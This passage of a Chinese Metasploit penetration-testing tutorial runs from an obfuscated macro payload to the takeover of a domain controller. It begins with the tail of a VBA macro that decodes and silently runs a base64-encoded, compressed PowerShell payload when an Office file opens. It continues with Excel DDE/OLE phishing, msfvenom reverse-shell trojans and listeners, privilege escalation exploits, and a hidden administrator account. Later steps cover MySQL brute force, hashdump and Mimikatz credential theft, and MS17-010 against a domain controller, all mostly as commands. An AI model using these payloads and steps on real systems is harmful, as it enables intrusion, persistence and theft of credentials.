Str = Str + "QAzAC8AQQBUAE8ASwBEAEMAeQBIAGcAQQA0AFAAMQBLADgAUAB"
Str = Str + "NAHkANQB1AEIAdgAvAGUANABiADEARABrAHUAWgBHAE8ANgAzA"
Str = Str + "DgASABnAHMATgBKAGoARQB7ADEAfQBrAHIAZgA1AHsAMQB9AEs"
Str = Str + "AZQBjAG0ARQBzADUARgBnAGYAQQB2AFQAMwBDADIAUABzAFQAc"
Str = Str + "AA3AGcAbAB2AEsAaQBYAG4AZwBuAGUAVQAvAGEAcQA2AGMANgB"
Str = Str + "ZAEwAbQAyAGwAcAB4AFcASgByAGEAagBMAGkAewAyAH0AbwA0A"
Str = Str + "EUAWAA0AGMAOQB0AGMARABPAFIAZQBaAC8ATAB7ADEAfQBlAHk"
Str = Str + "AUgBFAE4AZQAzAEkAUQBxAEkAawA5AEYAVgBlAFMAcwBtADIAS"
Str = Str + "wBOADQAagAwAGsAaABFACcAJwArACcAJwArAHUAQwBnADQAcQB"
Str = Str + "jAGIAbQBDADMAagBpAG4AMgBrAFUAaABnAFQAcQBqAHgAUwBxA"
Str = Str + "DAAUgBFAFAARwBrAHEAOABlAEUAdQBwAGgAcgBEAHMAUQAxAEE"
Str = Str + "AcQA4AGcANQBPAHAATABaAHcANgBSAFUAMgBRAGoATgBIAEUAQ"
Str = Str + "QA4AEIAMwBtAHcATgBXAGMAQgAwAG0AQwBNACsAJwAnACsAJwA"
Str = Str + "nAGsAMABNAGIAYgBaADYAYwBrAGMAaABPAFEAYQBSAFYARwBVA"
Str = Str + "GwAMwBvAHgAWgBLAG0AVABsAHkAeQBNAEsASABiAHsAMgB9AGs"
Str = Str + "AaABaAEcASgBOADMAUwBZAHMASAAyAG4ALwBMAFIAWABUAE8Ab"
Str = Str + "QBnAGoAZwBvAEUAcABtADUAbQBmAG8AUwB7ADIAfQBmAFQAVQB"
Str = Str + "HAGcAcwBqAHcAVwBNAEgANABnAG8ASQAzAEYAbwByADcAQgBCA"
Str = Str + "EUARQAwAEQAeQBVAG8AdQA0AFcATgA5AGEAeABNADkATwBsADk"
Str = Str + "AKwBFAG8ANABZAG8AaABlAFEAQgBTADQAOAAnACcAKwAnACcAU"
Str = Str + "QBEAGwAaABKAFkATABCAEUAdwBoAFkATwBqAGgANgBZAG8AUgB"
Str = Str + "ZAHMATABJAHgAZwBSAFgARQBBAFEAdgB1AHEAMABhAFQASQBoA"
Str = Str + "HgAcQBSADUAcwBpAGUAWAA4AGoASAByAHYAeQAyAG8AMQBrAHE"
Str = Str + "ASABIAGkAZgBBAEoATQBoADgAcwB4AE4AaQBMAFoARgBtAGMAa"
Str = Str + "ABMAE4AdQBFAEMAUwBsAEEAQwBjAGsASwB2AC8AKwBmAEYANgA"
Str = Str + "rAHEAVAB1AEYAUABqAE8ASQAyAE8AawBpAFgAWgBWAE4AKwBLA"
Str = Str + "EoAQQB0AHkAYwBUAGsAaABhAFEAcgBSAEgAaABBACcAJwArACc"
Str = Str + "AJwB1ACcAJwArACcAJwBBAEkAdwBtAFoANABHAE8ASQBuAHgAV"
Str = Str + "wBQAHsAMQB9AFEAWgA1AFUAdgB4AGgAdABRADAARwBHAE0AagB"
Str = Str + "wAEsAYQBqAEwAMABsAFoAVwA1AE8AeQBZAGMASgB2AFMARQA0A"
Str = Str + "E4AVgBqADkAMwByADkAdgAzAHIAUwBLAHYAYgB4AGEAZQBaAGs"
Str = Str + "AJwAnACsAJwAnAFMARwAyAGUAcgBWACsANgAxAFcAOQBiAEYAd"
Str = Str + "AAyAFYAVgBoAE4AUQB4AHgAMwBUAE8ARQAyAGIAJwAnACsAJwA"
Str = Str + "nAGkANwB2ADcAZQAwADEAbQBBADQARgBoAE4ARABhADkAMgBTA"
Str = Str + "DAAbgBKAGMAMwAnACcAKwAnACcAYQAzAGEAWgBHAHsAMQB9ADE"
Str = Str + "ATgBIAGUAOABLAFoANwB0ADkATgAyADYAcABHADkAMgA5ADcAN"
Str = Str + "wByAGoAZQB1AGUANQA1ADkANwAxAHEARAA4AHQAVQBrADYAbwA"
Str = Str + "xAHAAZgBMADEAVgBRAHAAOQA2AEkATwB5AE4AOQByAFoAZQBxA"
Str = Str + "FUAWQBPAHMAVwAzADAAeQA3AEMALwBiAFQAVABFAGYAMgB4AFE"
Str = Str + "ATgB2AGEASgAvAFYANwA1AEEAWgBOAFAAaAA5ADMAYQBaAG0AV"
Str = Str + "AB0AEQAMAA2ADQAVwBwADgANgB1ADcAewAxAH0AbABYAEMAOQB"
Str = Str + "QAHsAMQB9AGoAbAB2AEYAaQAxAEYAMQBxAFQAVQAwAHIAUgBZA"
Str = Str + "DIANwBLAGIATwByAHMAYwA2ADEAJwAnACsAJwAnADMAcABGAGU"
Str = Str + "AOQBqAFUAKwA4AE8ARwAzAHUALwBEADIAcABsAGYAOQBLAHEAd"
Str = Str + "wBSAGkAdQBzAGkAVABSACsAMgAxADMAYgBUAFAATwAxAHcAWgA"
Str = Str + "wAFIAQgBtAGkAaABqACsAdwBLAG0AYQB7ADIAfQB1AEIAJwAnA"
Str = Str + "CsAJwAnAGcAdQB3ADEAUQBRAFgAewAyAH0ARwBLAHAAYQByAGg"
Str = Str + "ANAB3ADcAJwAnACsAJwAnADUAMQBSAHMAUgArAEwATgByAG8Ac"
Str = Str + "QBpAHMAbQBXAHEAMQB7ADEAfQBMAGIAdAAzADkAcQA1AFYAUQB"
Str = Str + "ZAHYAMgB4AEkANAA3AEYANQBQAEkAYgBiAFQAcgBhADEAMABiA"
Str = Str + "GwAeAB0AHQAdgBYADYAbABOAFEAYgBEAFkAWABNAHkAcwBwAGU"
Str = Str + "AVAAwAFMAMgB7ADEAfQBqAEkAYgBsAEMAYwBQAE8AdQByAGcAQ"
Str = Str + "QBHAHcAVAByAE4ALwBaAHkAWABqAFMAdgBmAEcATwB4AEsAZgB"
Str = Str + "0AHcAMQB2AG4AZQBmAGsAQQBDAE8AcQArADQAeABZAHYAaABOA"
Str = Str + "HsAMgB9ADEAYwBYAC8AdQA5AFIAOQAvAHQAagA4ADQASABtACs"
Str = Str + "ANQAyAFgAbQBIAGEAcwBGAGkAMAB2ADAAQwBvAHAAMABNAFMAa"
Str = Str + "QB0AFAASwBMAFAAZgBnAHQAagBmAHQAcABDAFoAKwAvAHAAVAB"
Str = Str + "7ADIAfQAvAG4AeQA0AHEAVAAwAEwAKwBuAHMAVgAzADAAUQA4A"
Str = Str + "FcAaQBBAEsAWgBJAEIAYQBuAHUAVgBrAGsALwBGAG0AVwBwADk"
Str = Str + "ANwBqAEMAUQBhAGkAcABKADAAKwBDAFgAbQBJAGEAYgBRAEYAc"
Str = Str + "QBGAHgAWgBsAFQAVwBLAEcAVgBPADAAaAB2ADIAaABSAHsAMgB"
Str = Str + "9ADYAMABxAEYAYgBKAE0AMQByAGEATwB7ADIAfQA5AGUAdQB0A"
Str = Str + "EwAbABaADQARQAxAFcAUABUAHkASgBZAHUATAB5AGYAZwBKAEM"
Str = Str + "AUgBIAFgAQwA1ADAAYwBPAGkATABSAGIANgAwAE8AUwAyACcAJ"
Str = Str + "wArACcAJwBWAG8ATgBpAFgATgBxAFgAcQBQAGcAVQArAGYAcgB"
Str = Str + "FAGEAVwAyADAAVgBNAEoAVgBQAG0AJwAnACsAJwAnAHMAVQBCA"
Str = Str + "G0ASQBOAHAAdQBqAGMATgAxAG8AZwBuAEsAYwBwAHYAUgB3AG8"
Str = Str + "AZQBCAEEASgBLADAALwB0AFkAdgBRAGMAYgBIAEwAMgBFAFMAZ"
Str = Str + "wBLAGwANwBaAEQAewAxAH0AQwBYAGcANgBZAC8AUQA1AHsAMQB"
Str = Str + "9AE4AbQA5AG4AcwBoAHcAaABBADQAdwBLADgAUABOAHAAOABsA"
Str = Str + "GIANABNAEEAJwAnACsAJwAnAFIAcwBIAEMAQwBIADYARAAyAEo"
Str = Str + "ATQAzAHkAZQBmAFAATgA0AGUAMQB2ADUAVQB4AGEAbwB4AGIAd"
Str = Str + "wA1AC8ANABiAFoANAA1AHIALwA3AEQANwBJAFIANgBWADgAaQB"
Str = Str + "rADYAcgAnACcAKwAnACcAOQBaAGYATABqAHcAcgA4AEwAOABQA"
Str = Str + "GcAaABFAGkAQQBnAFEAdABLAEwAYwBVAEgAMQA0AEEAYgB5AE8"
Str = Str + "AUgBKAHMAcQB7ADIAfQBFAE8ATQB0AHAASQBHAFgAagB1AFIAV"
Str = Str + "gBmAEIATwBMAGsAeQA2ADgAcwAvAGIAbAAvAG0ALwBYAHAANAB"
Str = Str + "rAE8AagBBAHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmA"
Str = Str + "CcAJwA9ACcAJwAsACcAJwBkACcAJwAsACcAJwB6ACcAJwApACk"
Str = Str + "AKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAc"
Str = Str + "gBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgB"
Str = Str + "NAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApA"
Str = Str + "CkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHM"
Str = Str + "ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZ"
Str = Str + "gBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdAB"
Str = Str + "hAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7A"
Str = Str + "CQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQ"
Str = Str + "AZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAb"
Str = Str + "gBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdAB"
Str = Str + "lAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjA"
Str = Str + "GUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA"
CreateObject("Wscript.Shell").Run Str
End Sub

打开文件会自动运行宏代码,在本地监听后成功上线
截屏2022-12-07 23.55.47

Excel嵌入钓鱼

利用动态数据交换DDE(Dynamic Data Exchange)可从 Office 文档中执行任意程序,但该漏洞官方已于 2017 年进行了修复。利用 Object Linking and Embedding(OLE)嵌入文档对象,可在 Excel 中嵌入批处理文件,其代码如下:

START cmd.exe

在 Excel 中选择 插入》对象》选择BAT脚本》由文件创建》更改图标
截屏2022-12-08 00.26.27

点击对象可执行脚本,但是 Office 2019 存在安全机制,对脚本执行进行拦截
截屏2022-12-08 00.28.43

在 Excel 表格中输入以下代码,点击 A1 会弹出计算器

=cmd|'/c cmd.exe /c calc.exe'!'A1'

0x05 权限提升

Windows提权

MSF 提权 Windows 默认存储文件夹路径为/usr/share/metasploit-framework/modules/exploits/windows/local/,可使用ls进行查看

ls /usr/share/metasploit-framework/modules/exploits/windows/local/

截屏2023-03-13 03.06.01

生成上线

使用 msfvenom 生成反弹shell木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.212 lport=12345 -f exe > ~/Desktop/exploit.exe

1

使用 nc 传输木马文件

nc -vl 1234 > exploit.exe
ncat 192.168.8.103 1234 < exploit.exe
```	

开启本地监听
``` bash
msf6 > use exploit/multi/handler 
msf6 > set payload windows/meterpreter/reverse_tcp 
msf6 > set lhost 192.168.8.212
msf6 > set lport 12345 
msf6 > exploit
```	
利用大马上传木马至目标回收站目录`c:\recycler`上
![2](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/22.png)	
通过`cmd.exe`执行木马程序
![3](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/23.png)

成功收到 meterpreter 会话,执行命令收集信息
``` bash
getprivs //尽可能提升权限
getsystem //通过各种攻击提升至系统权限
```	
![4](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/24.png)

#### MS15-058提权
通过 MS15-058 漏洞进行提权
``` bash
msf6 > search ms14_058 //搜索模块
msf6 > info exploit/windows/local/ms14_058_track_popup_menu

5

6

设置会话成功提权为系统权限

msf6 > set session 4
msf6 > exploit
```	
![7](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/27.png)
		
寻找稳定进程进行迁移
``` bash
msf6 > ps //列出进程id	
msf6 > migrate 2060 //一般注入到浏览器进程中

8

9

添加隐藏账户并设置为管理员

msf6 > shell //进入终端界面
msf6 > net user mac$ admin /add && net localgroup administrators mac$ /add //增加mac$为管理员用户,在用户名后加$可以防止被net user命令看到

10

远程桌面连接新建用户

rdesktop 192.168.8.159

11

输入账号密码mac$/admin成功登录
12

UAC提权

如果在提权时需要绕过 UAC,可寻找 bypass 模块进行利用

use exploit/windows/local/bypass_injection_winsxs
set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.118.2
exploit

在活动会话中直接加载扩展,例如 PowerShell

load powershell

查看 PowerShell 版本

powershell_execute "$PSVersionTable.PSVersion"

截屏2023-03-13 03.15.11

Linux提权

MSF 提权 Linux 默认存储文件夹路径为/usr/share/metasploit-framework/modules/exploits/linux/local/,可使用ls进行查看

ls /usr/share/metasploit-framework/modules/exploits/linux/local/

截屏2023-03-13 03.16.16

生成上线

使用 msfvenom 生成反弹shell木马

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.8.212 lport=12345 -f raw > ~/Desktop/shell.php

1

使用 nc 传输木马文件

nc -vl 1234 > shell.php
ncat 192.168.8.103 1234 < shell.php

开启本地监听

msf6 > use exploit/multi/handler 
msf6 > set payload php/meterpreter/reverse_tcp 
msf6 > set lhost 192.168.8.212
msf6 > set lport 12345 
msf6 > exploit

通过木马上传shell.php并重命名为sh.php至网站目录上
2

访问http://172.16.54.6/sh.php成功收到 meterpreter 会话

meterpreter > getuid //查看当前用户权限

3

内核提权

通过木马上传漏洞利用代码exp.c/tmp目录下
4

进入 Shell 提权,但提权失败

shell > cd /tmp
shell > gcc 37292.c -o exp
shell > chmod +x exp
shell > ./exp

5

dirtypipe提权

使用 Linux 本地提权模块

meterpreter > use exploit/linux/local/cve_2022_0847_dirtypipe
meterpreter > set session 4
meterpreter > exploit

0x06 域内渗透

环境介绍

通过攻击机拿到域控服务器会话
1

生成 EXE 后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=12345 -f exe > ~/Desktop/s.exe
```	

开启本地监听
``` bash
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.56.5
msf > set lport 12345
msf > run

执行木马成功拿到域客户机1的会话,以下是常用域内命令

ipconfig /all //查看当前网卡配置信息,包括所属域以及IP段
net view /domain //查看域
net view //查看当前域中的计算机
net view /domain:CORP //查看CORP域中的计算机
ping wangsong-PC //ping计算机名得到IP
net user /domain //获取所有域的用户列表
net group /domain //获取域用户组信息
net group "domain admins" /domain //获取当前域管理员信息
net time /domain //查看域时间及域服务器的名字

# 需要域管理权限才能执行
net user hack hack /add /domain //添加普通域用户
net group "Domain Admins" hack /add /domain //将普通域用户提升为域管理员

主机信息收集

使用默认命令无法成功提权

meterpreter > getuid
meterpreter > getprivs
meterpreter > getsystem
```	
![2](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/12.png)
		
服务器存在双网卡,也就是有两个网段
``` bash
meterpreter > ipconfig
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.8.0/24
```	
![3](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/13.png)
使用扫描模块扫描`192.168.8.0/24`网段
``` bash
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.8.0/24
```	
![4](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/14.png)

查看DNS服务器地址为`192.168.8.105`,通常来说域内 DNS 服务器就是域控主机
``` bash
meterpreter > shell
shell > ipconfig /all
```	
![5](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/15.png)
		
使用端口扫描模块扫描域客户机2的端口,成功发现高危端口:3306、135、445等
``` bash
msf > route add 192.168.8.211 255.255.255.0 1
msf > use scanner/portscan/tcp
msf > set rhosts 192.168.8.159
msf > run
```	
![6](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/16.png)
		
### MySQL提权
爆破 MySQL 数据库账号密码,成功拿到账号密码root/root
``` bash
msf > use auxiliary/scanner/mysql/mysql_login
msf > set pass_file /root/Desktop/pass.txt
msf > set rhosts 192.168.8.159
msf > run
```	
![7](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/17.png)	
配置时需要在数据库中开启外联
``` sql
mysql > use mysql; #选择数据库)
mysql > grant all privileges on *.* to root@'%' identified by 'root'; #修改登录主机 % 为任意主机
mysql > flush privileges;  #刷新权限
```	

利用 MySQL MOF 提权模块成功拿到管理员
``` bash
msf > use exploit/windows/mysql/mysql_mof
msf > set username root
msf > set password root
msf > set rhosts 192.168.8.159
msf > set payload windows/meterpreter/bind_tcp
```	
![10](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/110.png)

### 域内信息收集
进入 Shell 查看域内信息
``` bash
meterpreter > shell
shell > net view /domain
shell > net view /domain:MACCC	
shell > net group "domain admins" /domain
shell > ping WIN-1MKU53AG2HW 

1112
13

获取主机用户哈希

meterpreter > hashdump
```	
![14](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/114.png)
		
加载 Mimikatz 获取主机明文
``` bash
meterpreter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_all
```	
![15](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/115.png)

成功拿到密码为`admin`
![16](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/116.png)
		
### 上线域控
执行 PSExec 失败
``` bash
msf > use exploit/windows/smb/psexec
msf > set smbuser administrator
msf > set smbpass admin
msf > set rhosts 192.168.8.105
msf > set payload windows/meterpreter/bind_tcp
msf > run

17
执行 MS17-010 成功上线

msf > use exploit/windows/smb/ms17_010_psexec
msf > set rhosts 192.168.8.105
msf > run
```	
![18](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/118.png)

### 远程桌面登录
提高程序运行级别
``` bash		
msf > use exploit/windows/local/ask
msf > set sessions 1
msf > run
```	
![19](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/119.png)		
进程迁移
``` shell
meterpreter >ps
meterpreter >migrate 2804 //explore.exe进程号

获取域内用户哈希

meterpreter >run post/windows/gather/hashdump
meterpreter >hashdump
```	
![20](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/120.png)![21](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/121.png)

获取域内用户密码明文
``` bash	
meterpreter >load mimikatz
meterpreter >creds_msv
meterpreter >creds_all

22

meterpreter >run  getgui  -e //开启远控

23

远程桌面开启成功
24

利用 rdesktop 成功登录域控

rdesktop -u administrator -p admin 192.168.8.105 

25

# Metasploit
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
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